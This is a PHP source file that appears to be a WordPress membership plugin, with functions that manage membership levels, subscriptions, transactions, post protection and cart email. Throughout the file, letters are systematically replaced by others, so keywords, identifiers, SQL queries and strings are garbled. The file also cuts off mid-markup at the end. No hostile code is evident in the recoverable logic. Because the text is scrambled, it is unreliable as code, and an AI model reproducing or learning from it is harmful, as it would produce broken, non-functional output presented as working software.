AlsDmxrs zBm#Btqn() { zurEFu SjqCEU SoBnlumn = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# * a	13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU 1	cb	 eQplrmU.Dyo(HG).QplrmU mBtq_DoBFmBC cb$dQplrmU)U AroBFDy (SoBnlumn Fn SoBnlum5Bh =QzmU SoBnlum) { SoBnlumn[SoBnlum5Bh]-QzmUtBmF = lsnBoxFuxgB(SoBnlum-QzmUmBtq_tBmFCFmF)U lsnBm(SoBnlum-QzmUmBtq_tBmFCFmF)U } oBmlos SoBnlumnU } AlsDmxrs zBm#Btqdrlsm() { zurEFu SjqCEU oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a	13 QplrmU.Smyxn-QzmUmBtq#FEuB))U } AlsDmxrs DoBFmB#Btq(SmoFsnFDmxrs, SuBkBu, StBmFCFmF) { zurEFu SjqCEU xA (VSmoFsnFDmxrs || VSuBkBu) { oBmlosU } SxsnBom = SjqCE-QzmUplBoh(QplrmU72$b	# 7921	b 72#1 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU $b# mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGU, uBkBu_xC = QplrmU.xsmkFu(SuBkBu).QplrmU, mBtq_tBmFCFmF = QTPMGUQplrmU.BnD_npu(nBoxFuxgB(StBmFCFmF)).QplrmUQTPMGU, mBtq_DoBFmBC = ;#d_#73b$#f30()QplrmU)U oBmlos SmoFsnFDmxrsU } AlsDmxrs DFsDBu#Btq(SmoFsnFDmxrs) { zurEFu SjqCEU SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU $b# uBkBu_nmFmln = QTPMGUdQTPMGU ?8b	b mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmU)U } AlsDmxrs oBtrkB#Btq(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlosU } SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b	b mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmU)U } AlsDmxrs qormBDmfuu0rnmn(SuBkBu7c=-O) { AroBFDy (Smyxn-QzmUFuu0rnmn() Fn Sqrnm7c) { xA (Sqrnm7c == P) { DrsmxslBU } Smyxn-QzmUqormBDm(Sqrnm7c, SuBkBu7c)U } } AlsDmxrs Drlsm4BkBun() { zurEFu SjqCEU oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB))U } AlsDmxrs DoBFmB4BkBu(SsFtB, SFuu=AFunB, SDrttBsmn=molB, SyFny=sluu) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SsFtB = qoBz_oBquFDB(QTPMGU@[^F-gP-G\-\_\ ]@nxQTPMGU, QTPMGUQTPMGU, SsFtB)U SyFny = qoBz_oBquFDB(QTPMGU@[^F-gP-G]@nxQTPMGU, QTPMGUQTPMGU, SyFny)U xA (Smyxn-QzmUyFnydruuxnxrs(SyFny)) { oBmlosU } xA (VSyFny) { SyFny = Smyxn-QzmUyFny()U } xA (VSFuu) { SFuu = PU } BunB { SFuu = OU } xA (VSDrttBsmn) { SDrttBsmn = PU } BunB { SDrttBsmn = OU } Snvl = Smyxn-QzmUnvl()U oBmlos SjqCE-QzmUplBoh(QTPMGU72$b	# 7921	b 72#1 QTPMGU.Smyxn-QzmUuBkBu#FEuB.QTPMGU $b# 7c = QTPMGU.xsmkFu(Snvl).QTPMGU, uBkBu_sFtB=QplrmUQTPMGU.BnD_npu(SsFtB).QTPMGUQplrmU, uBkBu_yFny=QplrmUQTPMGU.BnD_npu(SyFny).QTPMGUQplrmU, uBkBu_Fuu=QTPMGU.xsmkFu(SFuu).QplrmU, uBkBu_DrttBsmn=QplrmU.xsmkFu(SDrttBsmn))U } AlsDmxrs CBuBmB4BkBu(SxC) { zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U xA (Vxn_sltBoxD(SxC)) { oBmlosU } zurEFu SjqCEU SuBkBu = xsmkFu(SxC)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b	b 7c = SuBkBuQplrmU)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBuQplrmU)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs BCxm4BkBu(SxC, SCFmF) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SuBkBu = xsmkFu(SxC)U xA (SuBkBu == P) { oBmlosU } xA (Vxn_FooFh(SCFmF)) { oBmlosU } SsFtB = SCFmF[QplrmUuBkBu_sFtBQplrmU]U SsFtB = qoBz_oBquFDB(QTPMGU@[^F-gP-G\-\_\ ]@nxQTPMGU, QTPMGUQTPMGU, SsFtB)U SFuu = SCFmF[QplrmUuBkBu_FuuQplrmU]U xA (VSFuu) { SFuu = PU } BunB { SFuu = OU } SDrttBsmn = SCFmF[QplrmUuBkBu_DrttBsmnQplrmU]U xA (VSDrttBsmn) { SDrttBsmn = PU } BunB { SDrttBsmn = OU } SoBzxnmBo = PU Surzxs = PU SBiqxoFmxrs = PU xA (xnnBm(SCFmF[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU])) { SoBzxnmBo = SCFmF[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU]U } xA (xnnBm(SCFmF[QplrmUuBkBu_qFzB_urzxsQplrmU])) { Surzxs = SCFmF[QplrmUuBkBu_qFzB_urzxsQplrmU]U } xA (xnnBm(SCFmF[QplrmUuBkBu_BiqxoFmxrsQplrmU])) { SBiqxoFmxrs = xsmkFu(SCFmF[QplrmUuBkBu_BiqxoFmxrsQplrmU])U } SBiqxoFmxrs = tFi(P, SBiqxoFmxrs)U SruC4BkBu = Smyxn-QzmUzBm4BkBu(SxC)U xA (SruC4BkBu-QzmUuBkBu_Fuu == O QFtqUQFtqU SFuu == P) { Smyxn-QzmUqormBDmfuu0rnmn(SxC)U } xA (SsFtB QFtqUQFtqU SuBkBu) { SjqCE-QzmUplBoh(QTPMGU;0cf#b QTPMGU.Smyxn-QzmUuBkBu#FEuB.QTPMGU $b# uBkBu_sFtB=QplrmUQTPMGU.BnD_npu(SsFtB).QTPMGUQplrmU, uBkBu_Fuu=QTPMGU.xsmkFu(SFuu).QTPMGU, uBkBu_DrttBsmn=QTPMGU.xsmkFu(SDrttBsmn).QTPMGU, uBkBu_qFzB_oBzxnmBo = QTPMGU.SoBzxnmBo.QTPMGU, uBkBu_qFzB_urzxs = QTPMGU.Surzxs.QTPMGU, uBkBu_BiqxoFmxrs = QTPMGU.SBiqxoFmxrs.QTPMGU ?8b	b 7c=QTPMGU.SuBkBu)U } } AlsDmxrs nlEnDoxEB(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nlEnDoxEBC=O ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs lsnlEnDoxEB(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nlEnDoxEBC=P ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs FCC(SlnBo7c, SuBkBu7c, SmoFsnFDmxrs=sluu, SCFmBfCCBC=sluu) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U xA (Vxn_sltBoxD(SCFmBfCCBC) || @xsmkFu(SCFmBfCCBC) QumU= O) { SCFmBfCCBC = nmomrmxtB(SCFmBfCCBC)U } xA (Vxn_sltBoxD(SCFmBfCCBC) || @xsmkFu(SCFmBfCCBC) QumU= O) { SCFmBfCCBC = mxtB()U } SCFmBfCC = ztCFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, SCFmBfCCBC)U SjqCE-QzmUplBoh(QplrmU72$b	# 7921	b 72#1 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# lnBo_xC = SlnBo, uBkBu_xC = SuBkBu, uBkBu_nmFmln=QTPMGUfQTPMGU, uBkBu_mis = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGU, uBkBu_CFmB = QTPMGUQplrmU.BnD_npu(SCFmBfCC).QplrmUQTPMGUQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_FCC_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_FCC_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } SFAABDmBC = (SjqCE-QzmUorjn_FAABDmBC QzmU P)U xA (SFAABDmBC) { SCBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu7c, QplrmUCBuFhQplrmU))U xA (SCBuFh QzmU P) { } BunBxA (SFDmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu7c, QplrmUFCCQplrmU)) { Smyxn-QzmUFCC(SlnBo7c, SFDmxrs, SmoFsnFDmxrs, SCFmBfCC)U } BunBxA (SFDmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu7c, QplrmUtrkBQplrmU)) { Smyxn-QzmUtrkB(SlnBo7c, SFDmxrs, SmoFsnFDmxrs, SCFmBfCC)U } } Smyxn-QzmUlsDFsDBu(SlnBo7c, SuBkBu7c)U oBmlos SFAABDmBCU } AlsDmxrs trkB(SlnBo7c, SuBkBu7c, SmoFsnFDmxrs=sluu, SCFmBfCCBC=sluu) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC = SlnBoQplrmU)U Smyxn-QzmUFCC(SlnBo7c, SuBkBu7c, SmoFsnFDmxrs, SCFmBfCCBC)U } AlsDmxrs oBtrkB(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_oBtrkB_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_oBtrkB_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } } AlsDmxrs DFsDBu(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nmFmln=QTPMGUdQTPMGU ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_DFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_DFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } } AlsDmxrs lsDFsDBu(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nmFmln=QTPMGUfQTPMGU ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_lsDFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_lsDFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } } AlsDmxrs qormBDm(Sqrnm7c, SuBkBu7c=-O) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU SuBkBu = xsmkFu(SuBkBu7c)U Sqrnm = xsmkFu(Sqrnm7c)U SjqCE-QzmUplBoh(QplrmU72$b	# 7921	b 72#1 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU $b# uBkBu_xC = SuBkBu, qrnm_xC = SqrnmQplrmU)U } AlsDmxrs lsqormBDm(Sqrnm7c, SuBkBu7c=-O) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU SuBkBu = xsmkFu(SuBkBu7c)U Sqrnm = xsmkFu(Sqrnm7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBu f2c qrnm_xC = SqrnmQplrmU)U } AlsDmxrs zBm0rnmn(SlnBo7c=P) { zurEFu SjqCEU SlnBo = xsmkFu(SlnBo7c)U SuBkBun = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_xC a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC f2c lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c uBkBu_Fuu=O 9	1;0 eQplrmU.Dyo(HG).QplrmU uBkBu_xCQplrmU)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlos Smyxn-QzmUFuu0rnmn()U } xA (Drlsm(SuBkBun) QzmU P) { oBmlos Smyxn-QzmUFuu0rnmn()U } SlsqormBDmBC = Smyxn-QzmUFuu0rnmn(SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_xC = -OQplrmU))U SqormBDmBC = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c (QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU.uBkBu_xC = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC)QplrmU)U Surzxs_qFzBn = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_qFzB_urzxs a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c (QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC)QplrmU)U SoBCxoBDm_qFzBn = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_qFzB_urzxs a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c (QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC)QplrmU)U SoBmlos = FooFh_tBozB(SqormBDmBC, SlsqormBDmBC, Surzxs_qFzBn, SoBCxoBDm_qFzBn)U SoBmlos = FooFh_lsxplB(FooFh_kFulBn(SoBmlos))U oBmlos SoBmlosU } AlsDmxrs Fuu0rnmn(SCxAA=sluu) { zurEFu SjqCEU SFuu = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# 7c a	13 QplrmU.SjqCE-QzmUqrnmn.QplrmU ?8b	b qrnm_nmFmln = QTPMGUqlEuxnyQTPMGUQplrmU)U xA (SCxAA) { oBmlos FooFh_CxAA(SFuu, SCxAA)U } oBmlos SFuuU } AlsDmxrs zBmeurDvBC0FzBn(SlnBo7c=-O) { } AlsDmxrs zBm4BkBufDDBnn(SlnBo7c) { } AlsDmxrs zBmcFhn1s4BkBu(SlnBo7c, SuBkBu7c, Ssrj=sluu) { zurEFu SjqCEU SlnBo7c = @xsmkFu(SlnBo7c)U SuBkBu7c = @xsmkFu(SuBkBu7c)U xA (Ssrj == sluu) { Ssrj = mxtB()U } Ssrj = @xsmkFu(Ssrj)U SuBkBu_CFmB = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# uBkBu_CFmB a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC=QplrmU.SlnBo7c.QplrmU f2c uBkBu_xC=QplrmU.SuBkBu7c)U SCFmB = nmomrmxtB(SuBkBu_CFmB)U xA (SCFmB QumU= O) { oBmlos sluuU } SCFhn = Aurro((Ssrj-SCFmB)/HJLPP)U oBmlos SCFhnU } AlsDmxrs mxtBnmFtq#rcFhn(SmxtBnmFtq) { xA (Vxn_sltBoxD(SmxtBnmFtq)) { SmxtBnmFtq = nmomrmxtB(SmxtBnmFtq)U } oBmlos Aurro((mxtB()-SmxtBnmFtq)/HJLPP)U } AlsDmxrs zBm4BkBu7sAr(SlnBo7c, SnmFmln=sluu) { zurEFu SjqCEU SlnBo = xsmkFu(SlnBo7c)U Snpu = QplrmU$b4bd# lnBo_xC, uBkBu_xC, uBkBu_nmFmln, uBkBu_mis, uBkBu_nlEnDoxEBC, uBkBu_CFmB, ;27>_#73b$#f30(uBkBu_CFmB) f$ uBkBu_mxtBnmFtq, uBkBu_sFtB, uBkBu_DrttBsmn, uBkBu_qFzB_oBzxnmBo, uBkBu_qFzB_urzxs, uBkBu_BiqxoFmxrs a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU 4ba# 6172 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU 12 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC = QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c ?8b	b lnBo_xC = SlnBo QplrmUU xA (SnmFmln == QplrmUfQplrmU) { Snpu .= QplrmUf2c uBkBu_nmFmln = QTPMGUfQTPMGU QplrmUU } BunBxA (SnmFmln == QplrmU$QplrmU) { Snpu .= QplrmUf2c uBkBu_nlEnDoxEBC = O f2c uBkBu_nmFmln = QTPMGUfQTPMGU QplrmUU } BunBxA (SnmFmln == QplrmU;QplrmU) { Snpu .= QplrmUf2c uBkBu_nlEnDoxEBC = P f2c uBkBu_nmFmln = QTPMGUfQTPMGU QplrmUU } BunB { } Snpu .= QplrmU1	cb	 eQplrmU.Dyo(HG).QplrmU uBkBu_sFtB f$dQplrmUU SoBnlumn = SjqCE-QzmUzBm_oBnlumn(Snpu)U xA (VSoBnlumn) { oBmlos FooFh()U } SoBmlos = FooFh()U AroBFDy (SoBnlumn Fn SoBnlum) { SoBmlos[SoBnlum-QzmUuBkBu_xC] = SoBnlumU } oBmlos SoBmlosU } AlsDmxrs zBm0rnmfDDBnn(SuBkBu7c) { zurEFu SjqCEU SuBkBu = xsmkFu(SuBkBu7c)U SuBkBu7sAr = Smyxn-QzmUzBm4BkBu(SuBkBu7c)U xA (SuBkBu == -O) { SqormBDmBC = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBuQplrmU)U oBmlos Smyxn-QzmUFuu0rnmn(SqormBDmBC)U oBmlos SCxAAU } SoBmlos = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBuQplrmU)U xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) { SoBmlos[] = xsmkFu(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo)U } xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs) { SoBmlos[] = xsmkFu(SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs)U } oBmlos SoBmlosU } AlsDmxrs zBm0FzBfDDBnn(SuBkBu7c) { } AlsDmxrs xn0ormBDmBC(Sqrnm7c) { zurEFu SjqCEU Sqrnm = xsmkFu(Sqrnm7c)U oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_xC = -O f2c qrnm_xC = SqrnmQplrmU))U } AlsDmxrs zBm4BkBuncBAFlum() { zurEFu SjqCEU SoBmlos = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_xC a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b uBkBu_Fuu=OQplrmU)U } AlsDmxrs zBm4BkBunaort0rnm(Sqrnm7c) { zurEFu SjqCEU Sqrnm = xsmkFu(Sqrnm7c)U SoBnlum = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_xC, uBkBu_sFtB a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU, QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b	b qrnm_xC = Sqrnm f2c uBkBu_xC = QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7cQplrmU)U AroBFDy (Smyxn-QzmUzBm4BkBun() Fn SuBkBu) { xA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo == Sqrnm7c) { SoBnlum[] = (rEwBDm) FooFh(QplrmUuBkBu_xCQplrmU =QzmU SuBkBu-QzmU7c, QplrmUuBkBu_sFtBQplrmU =QzmU SuBkBu-QzmUuBkBu_sFtB)U } BunBxA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm7c) { SoBnlum[] = (rEwBDm) FooFh(QplrmUuBkBu_xCQplrmU =QzmU SuBkBu-QzmU7c, QplrmUuBkBu_sFtBQplrmU =QzmU SuBkBu-QzmUuBkBu_sFtB)U } } SoBmlos = FooFh()U AroBFDy (SoBnlum Fn So) { SoBmlos[So-QzmUuBkBu_xC] = So-QzmUuBkBu_sFtBU } oBmlos SoBmlosU } AlsDmxrs zBm4BkBu2FtB(SuBkBu7c) { zurEFu SjqCEU SuBkBu7c = xsmkFu(SuBkBu7c)U oBmlos SjqCE-QzmUzBm_kFo(QplrmU$b4bd# uBkBu_sFtB a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b	b 7c = SuBkBu7c 4737# OQplrmU)U } AlsDmxrs yFnfDDBnn(SlnBo7c, SuBkBu7c, SxsDulCBdFsDBuBC=AFunB) { zurEFu SjqCEU SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U xA (SxsDulCBdFsDBuBC) { oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBu f2c lnBo_xC = SlnBo 4737# OQplrmU))U } BunB { oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_xC = SuBkBu f2c lnBo_xC = SlnBo f2c uBkBu_nmFmln = QTPMGUfQTPMGU 4737# OQplrmU))U } } AlsDmxrs zBmflmroBnqrsCBo(SuBkBu) { SFlmroBnqrsCBon = Smyxn-QzmUnBmmxsz(QplrmUFlmroBnqrsCBonQplrmU)U xA (Vxn_FooFh(SFlmroBnqrsCBon)) { oBmlos sluuU } xA (xnnBm(SFlmroBnqrsCBon[SuBkBu])) { oBmlos SFlmroBnqrsCBon[SuBkBu]U } oBmlos sluuU } AlsDmxrs nBmflmroBnqrsCBo(SuBkBu, SDrCB=QplrmUQplrmU, SBtFxu=QplrmUQplrmU, SAxonmsFtB=QplrmUQplrmU, SuFnmsFtB=QplrmUQplrmU) { SFlmroBnqrsCBon = Smyxn-QzmUnBmmxsz(QplrmUFlmroBnqrsCBonQplrmU)U xA (Vxn_FooFh(SFlmroBnqrsCBon)) { SFlmroBnqrsCBon = FooFh()U } xA (VSDrCB) { lsnBm(SFlmroBnqrsCBon[SuBkBu])U } BunB { SFlmroBnqrsCBon[SuBkBu] = FooFh( QplrmUDrCBQplrmU =QzmU nmoxqnuFnyBn(SDrCB), QplrmUBtFxuQplrmU =QzmU SBtFxu, QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB )U } Smyxn-QzmUnBmmxsz(QplrmUFlmroBnqrsCBonQplrmU, SFlmroBnqrsCBon)U } } DuFnn 3BtEBo9BsxlndFom { qoxkFmB SnBDoBmU qlEuxD AlsDmxrs xsnmolDmxrsn() { } qlEuxD AlsDmxrs kFuxCFmB() { } qlEuxD AlsDmxrs BtFxu(SnlEwBDm, StBnnFzB) { FCC_AxumBo( QTPMGUjq_tFxu_Aort_sFtBQTPMGU, FooFh(QFtqUSmyxn, QplrmUAort2FtBQplrmU))U jq_tFxu(zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU), SnlEwBDm, StBnnFzB)U oBtrkB_AxumBo( QTPMGUjq_tFxu_DrsmBsm_mhqBQTPMGU, FooFh(QFtqUSmyxn, QplrmUAort2FtBQplrmU))U } qlEuxD AlsDmxrs Aort2FtB() { oBmlos zBm_rqmxrs(QplrmUsFtBQplrmU)U } } DuFnn 3BtEBo9BsxlndFom9BsBoxD BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU WQzmUY      QumUyMQzmUflmrtFmxD 	BzxnmoFmxrsQumU/yMQzmUYY         QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs BxmyBo lnB 3BtEBo 9Bsxln mr ElxuC F uxnm rA AoBB tBtEBon ro DyFozB myBt Aro rsB-mxtB FDDBnn.QumU/qQzmUY         Y         QumUqQzmU6lnm tFvB nloB mr nBm hrlo myFsv hrl ;	4 rA hrlo qFhtBsm Elmmrs mr myB uBkBu jyBoB hrl jFsm mr qorkxCB FDDBnn:QumU/qQzmUYY         QumUqQzmUQumUmFEuB 